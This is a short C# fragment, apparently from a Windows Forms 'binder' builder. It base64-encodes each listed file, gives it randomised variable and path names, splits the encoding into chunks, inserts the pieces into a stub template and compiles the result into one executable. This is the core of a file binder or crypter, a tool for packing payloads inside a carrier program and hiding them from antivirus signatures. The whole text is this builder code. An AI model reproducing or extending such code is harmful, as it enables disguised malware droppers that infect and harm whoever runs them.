private void thread_DoWork(object sender, DoWorkEventArgs e) { string stub = Properties.Resources.Base64 + "\n"; foreach (ListViewItem item in listView1.Items) { string binder = Properties.Resources.Binder; string varname = Stub.RandomString(10); binder = binder.Replace("%binder%", Stub.RandomString(10)) .Replace("%path%", Stub.RandomString(10)) .Replace("%filename%", Path.GetFileName(item.Text)) .Replace("%var%", varname) .Replace("%base64%", Stub.ChuckSplit(Stub.Base64String(item.Text), varname, 400)); stub += binder + "\n"; } File.WriteAllText(scriptpath, stub); Compiler.Compil(scriptpath, output); MessageBox.Show("Done", "", MessageBoxButtons.OK, MessageBoxIcon.Information); button1.Enabled = true; }